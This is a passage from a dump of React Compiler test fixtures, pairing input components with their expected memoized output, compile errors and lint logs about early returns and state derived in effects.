    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    if (props.b) {\n      const y = [props.b];\n      x.push(y);\n      // oops no memo!\n      return x;\n    }\n    // oops no memo!\n    return x;\n  } else {\n    return foo();\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42, b: 3.14}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        if (props.b) {\n          let t1;\n          if ($[4] !== props.b) {\n            t1 = [props.b];\n            $[4] = props.b;\n            $[5] = t1;\n          } else {\n            t1 = $[5];\n          }\n          const y = t1;\n          x.push(y);\n          t0 = x;\n          break bb0;\n        }\n\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t1 = foo();\n          $[6] = t1;\n        } else {\n          t1 = $[6];\n        }\n        t0 = t1;\n        break bb0;\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, a: 42, b: 3.14 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42,[3.14]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-nested-early-return-within-reactive-scope.js",
    "content": "function Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    if (props.b) {\n      const y = [props.b];\n      x.push(y);\n      // oops no memo!\n      return x;\n    }\n    // oops no memo!\n    return x;\n  } else {\n    return foo();\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42, b: 3.14}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\n/**\n * This fixture tests what happens when a reactive has no declarations (other than an early return),\n * no reassignments, and no dependencies. In this case the only thing we can use to decide if we\n * should take the if or else branch is the early return declaration. But if that uses the same\n * sentinel as the memo cache sentinel, then if the previous execution did not early return it will\n * look like we didn't execute the memo block yet, and we'll needlessly re-execute instead of skipping\n * to the else branch.\n *\n * We have to use a distinct sentinel for the early return value.\n *\n * Here the fixture will always take the \"else\" branch and never early return. Logging (not included)\n * confirms that the scope for `x` only executes once, on the first render of the component.\n */\nlet ENABLE_FEATURE = false;\n\nfunction Component(props) {\n  let x = [];\n  if (ENABLE_FEATURE) {\n    x.push(42);\n    return x;\n  } else {\n    console.log('fallthrough');\n  }\n  return makeArray(props.a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {a: 42},\n    {a: 42},\n    {a: 3.14},\n    {a: 3.14},\n    {a: 42},\n    {a: 3.14},\n    {a: 42},\n    {a: 3.14},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\n/**\n * This fixture tests what happens when a reactive has no declarations (other than an early return),\n * no reassignments, and no dependencies. In this case the only thing we can use to decide if we\n * should take the if or else branch is the early return declaration. But if that uses the same\n * sentinel as the memo cache sentinel, then if the previous execution did not early return it will\n * look like we didn't execute the memo block yet, and we'll needlessly re-execute instead of skipping\n * to the else branch.\n *\n * We have to use a distinct sentinel for the early return value.\n *\n * Here the fixture will always take the \"else\" branch and never early return. Logging (not included)\n * confirms that the scope for `x` only executes once, on the first render of the component.\n */\nlet ENABLE_FEATURE = false;\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (ENABLE_FEATURE) {\n        x.push(42);\n        t0 = x;\n        break bb0;\n      } else {\n        console.log(\"fallthrough\");\n      }\n    }\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  let t1;\n  if ($[1] !== props.a) {\n    t1 = makeArray(props.a);\n    $[1] = props.a;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { a: 42 },\n    { a: 42 },\n    { a: 3.14 },\n    { a: 3.14 },\n    { a: 42 },\n    { a: 3.14 },\n    { a: 42 },\n    { a: 3.14 },\n  ],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-no-declarations-reassignments-dependencies.js",
    "content": "import {makeArray} from 'shared-runtime';\n\n/**\n * This fixture tests what happens when a reactive has no declarations (other than an early return),\n * no reassignments, and no dependencies. In this case the only thing we can use to decide if we\n * should take the if or else branch is the early return declaration. But if that uses the same\n * sentinel as the memo cache sentinel, then if the previous execution did not early return it will\n * look like we didn't execute the memo block yet, and we'll needlessly re-execute instead of skipping\n * to the else branch.\n *\n * We have to use a distinct sentinel for the early return value.\n *\n * Here the fixture will always take the \"else\" branch and never early return. Logging (not included)\n * confirms that the scope for `x` only executes once, on the first render of the component.\n */\nlet ENABLE_FEATURE = false;\n\nfunction Component(props) {\n  let x = [];\n  if (ENABLE_FEATURE) {\n    x.push(42);\n    return x;\n  } else {\n    console.log('fallthrough');\n  }\n  return makeArray(props.a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {a: 42},\n    {a: 42},\n    {a: 3.14},\n    {a: 3.14},\n    {a: 42},\n    {a: 3.14},\n    {a: 42},\n    {a: 3.14},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    return makeArray(props.b);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    // pattern 1\n    {cond: true, a: 42},\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[4] !== props.b) {\n          t1 = makeArray(props.b);\n          $[4] = props.b;\n          $[5] = t1;\n        } else {\n          t1 = $[5];\n        }\n        t0 = t1;\n        break bb0;\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    // pattern 1\n    { cond: true, a: 42 },\n    { cond: true, a: 42 },\n    // pattern 2\n    { cond: false, b: 3.14 },\n    { cond: false, b: 3.14 },\n    // pattern 1\n    { cond: true, a: 42 },\n    // pattern 2\n    { cond: false, b: 3.14 },\n    // pattern 1\n    { cond: true, a: 42 },\n    // pattern 2\n    { cond: false, b: 3.14 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]\n[42]\n[3.14]\n[3.14]\n[42]\n[3.14]\n[42]\n[3.14]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return-within-reactive-scope.js",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    return makeArray(props.b);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    // pattern 1\n    {cond: true, a: 42},\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction MyApp(props) {\n  let res;\n  if (props.cond) {\n    return;\n  } else {\n    res = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction MyApp(props) {\n  if (props.cond) {\n    return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/early-return.js",
    "content": "function MyApp(props) {\n  let res;\n  if (props.cond) {\n    return;\n  } else {\n    res = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nfunction useThing(fn) {\n  const fnRef = useRef(fn);\n  const ref = useRef(null);\n\n  if (ref.current === null) {\n    ref.current = function (this: unknown, ...args) {\n      return fnRef.current.call(this, ...args);\n    };\n  }\n  return ref.current;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Expected a non-reserved identifier name\n\n`this` is a reserved word in JavaScript and cannot be used as an identifier name.\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.ts",
    "content": "import {useRef} from 'react';\n\nfunction useThing(fn) {\n  const fnRef = useRef(fn);\n  const ref = useRef(null);\n\n  if (ref.current === null) {\n    ref.current = function (this: unknown, ...args) {\n      return fnRef.current.call(this, ...args);\n    };\n  }\n  return ref.current;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({value, enabled}) {\n  const [localValue, setLocalValue] = useState('');\n\n  useEffect(() => {\n    if (enabled) {\n      setLocalValue(value);\n    } else {\n      setLocalValue('disabled');\n    }\n  }, [value, enabled]);\n\n  return <div>{localValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'test', enabled: true}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ value, enabled }) {\n  const [localValue, setLocalValue] = useState(\"\");\n\n  useEffect(() => {\n    if (enabled) {\n      setLocalValue(value);\n    } else {\n      setLocalValue(\"disabled\");\n    }\n  }, [value, enabled]);\n\n  return <div>{localValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"test\", enabled: true }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [value]\\n\\nData Flow Tree:\\n└── value (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":9,\"column\":6,\"index\":263},\"end\":{\"line\":9,\"column\":19,\"index\":276},\"filename\":\"derived-state-conditionally-in-effect.ts\",\"identifierName\":\"setLocalValue\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":16,\"column\":1,\"index\":397},\"filename\":\"derived-state-conditionally-in-effect.ts\"},\"fnName\":\"Component\",\"memoSlots\":6,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>test</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-conditionally-in-effect.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({value, enabled}) {\n  const [localValue, setLocalValue] = useState('');\n\n  useEffect(() => {\n    if (enabled) {\n      setLocalValue(value);\n    } else {\n      setLocalValue('disabled');\n    }\n  }, [value, enabled]);\n\n  return <div>{localValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'test', enabled: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nexport default function Component({input = 'empty'}) {\n  const [currInput, setCurrInput] = useState(input);\n  const localConst = 'local const';\n\n  useEffect(() => {\n    setCurrInput(input + localConst);\n  }, [input, localConst]);\n\n  return <div>{currInput}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{input: 'test'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nexport default function Component({ input = \"empty\" }) {\n  const [currInput, setCurrInput] = useState(input);\n  const localConst = \"local const\";\n\n  useEffect(() => {\n    setCurrInput(input + localConst);\n  }, [input, localConst]);\n\n  return <div>{currInput}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ input: \"test\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [input]\\n\\nData Flow Tree:\\n└── input (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":9,\"column\":4,\"index\":295},\"end\":{\"line\":9,\"column\":16,\"index\":307},\"filename\":\"derived-state-from-default-props.ts\",\"identifierName\":\"setCurrInput\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":15,\"index\":141},\"end\":{\"line\":13,\"column\":1,\"index\":391},\"filename\":\"derived-state-from-default-props.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>testlocal const</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-default-props.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nexport default function Component({input = 'empty'}) {\n  const [currInput, setCurrInput] = useState(input);\n  const localConst = 'local const';\n\n  useEffect(() => {\n    setCurrInput(input + localConst);\n  }, [input, localConst]);\n\n  return <div>{currInput}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{input: 'test'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nimport {useEffect, useState} from 'react';\n\nfunction Component({shouldChange}) {\n  const [count, setCount] = useState(0);\n\n  useEffect(() => {\n    if (shouldChange) {\n      setCount(count + 1);\n    }\n  }, [count]);\n\n  return <div>{count}</div>;\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ shouldChange }) {\n  const [count, setCount] = useState(0);\n\n  useEffect(() => {\n    if (shouldChange) {\n      setCount(count + 1);\n    }\n  }, [count]);\n\n  return <div>{count}</div>;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nState: [count]\\n\\nData Flow Tree:\\n└── count (State)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":10,\"column\":6,\"index\":256},\"end\":{\"line\":10,\"column\":14,\"index\":264},\"filename\":\"derived-state-from-local-state-in-effect.ts\",\"identifierName\":\"setCount\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":5,\"column\":0,\"index\":127},\"end\":{\"line\":15,\"column\":1,\"index\":329},\"filename\":\"derived-state-from-local-state-in-effect.ts\"},\"fnName\":\"Component\",\"memoSlots\":7,\"memoBlocks\":3,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-local-state-in-effect.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nimport {useEffect, useState} from 'react';\n\nfunction Component({shouldChange}) {\n  const [count, setCount] = useState(0);\n\n  useEffect(() => {\n    if (shouldChange) {\n      setCount(count + 1);\n    }\n  }, [count]);\n\n  return <div>{count}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({firstName}) {\n  const [lastName, setLastName] = useState('Doe');\n  const [fullName, setFullName] = useState('John');\n\n  const middleName = 'D.';\n\n  useEffect(() => {\n    setFullName(firstName + ' ' + middleName + ' ' + lastName);\n  }, [firstName, middleName, lastName]);\n\n  return (\n    <div>\n      <input value={lastName} onChange={e => setLastName(e.target.value)} />\n      <div>{fullName}</div>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{firstName: 'John'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ firstName }) {\n  const [lastName, setLastName] = useState(\"Doe\");\n  const [fullName, setFullName] = useState(\"John\");\n\n  const middleName = \"D.\";\n\n  useEffect(() => {\n    setFullName(firstName + \" \" + middleName + \" \" + lastName);\n  }, [firstName, middleName, lastName]);\n\n  return (\n    <div>\n      <input value={lastName} onChange={(e) => setLastName(e.target.value)} />\n      <div>{fullName}</div>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ firstName: \"John\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [firstName]\\nState: [lastName]\\n\\nData Flow Tree:\\n├── firstName (Prop)\\n└── lastName (State)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":11,\"column\":4,\"index\":316},\"end\":{\"line\":11,\"column\":15,\"index\":327},\"filename\":\"derived-state-from-prop-local-state-and-component-scope.ts\",\"identifierName\":\"setFullName\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":20,\"column\":1,\"index\":561},\"filename\":\"derived-state-from-prop-local-state-and-component-scope.ts\"},\"fnName\":\"Component\",\"memoSlots\":12,\"memoBlocks\":5,\"memoValues\":6,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div><input value=\"Doe\"><div>John D. Doe</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-local-state-and-component-scope.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({firstName}) {\n  const [lastName, setLastName] = useState('Doe');\n  const [fullName, setFullName] = useState('John');\n\n  const middleName = 'D.';\n\n  useEffect(() => {\n    setFullName(firstName + ' ' + middleName + ' ' + lastName);\n  }, [firstName, middleName, lastName]);\n\n  return (\n    <div>\n      <input value={lastName} onChange={e => setLastName(e.target.value)} />\n      <div>{fullName}</div>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{firstName: 'John'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({initialName}) {\n  const [name, setName] = useState('');\n\n  useEffect(() => {\n    setName(initialName);\n  }, [initialName]);\n\n  return (\n    <div>\n      <input value={name} onChange={e => setName(e.target.value)} />\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{initialName: 'John'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ initialName }) {\n  const [name, setName] = useState(\"\");\n\n  useEffect(() => {\n    setName(initialName);\n  }, [initialName]);\n\n  return (\n    <div>\n      <input value={name} onChange={(e) => setName(e.target.value)} />\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ initialName: \"John\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":16,\"column\":1,\"index\":378},\"filename\":\"derived-state-from-prop-setter-call-outside-effect-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":6,\"memoBlocks\":3,\"memoValues\":4,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div><input value=\"John\"></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({initialName}) {\n  const [name, setName] = useState('');\n\n  useEffect(() => {\n    setName(initialName);\n  }, [initialName]);\n\n  return (\n    <div>\n      <input value={name} onChange={e => setName(e.target.value)} />\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{initialName: 'John'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @outputMode:\"lint\"\n\nfunction Component({value}) {\n  const [checked, setChecked] = useState('');\n\n  useEffect(() => {\n    setChecked(value === '' ? [] : value.split(','));\n  }, [value]);\n\n  return <div>{checked}</div>;\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @outputMode:\"lint\"\n\nfunction Component({ value }) {\n  const [checked, setChecked] = useState(\"\");\n\n  useEffect(() => {\n    setChecked(value === \"\" ? [] : value.split(\",\"));\n  }, [value]);\n\n  return <div>{checked}</div>;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @outputMode:\"lint\"\n\nfunction Component({value}) {\n  const [checked, setChecked] = useState('');\n\n  useEffect(() => {\n    setChecked(value === '' ? [] : value.split(','));\n  }, [value]);\n\n  return <div>{checked}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction MockComponent({onSet}) {\n  return <div onClick={() => onSet('clicked')}>Mock Component</div>;\n}\n\nfunction Component({propValue}) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n  }, [propValue]);\n\n  return <MockComponent onSet={setValue} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction MockComponent({ onSet }) {\n  return <div onClick={() => onSet(\"clicked\")}>Mock Component</div>;\n}\n\nfunction Component({ propValue }) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n  }, [propValue]);\n\n  return <MockComponent onSet={setValue} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propValue: \"test\" }],\n};\n\n```\n\n## 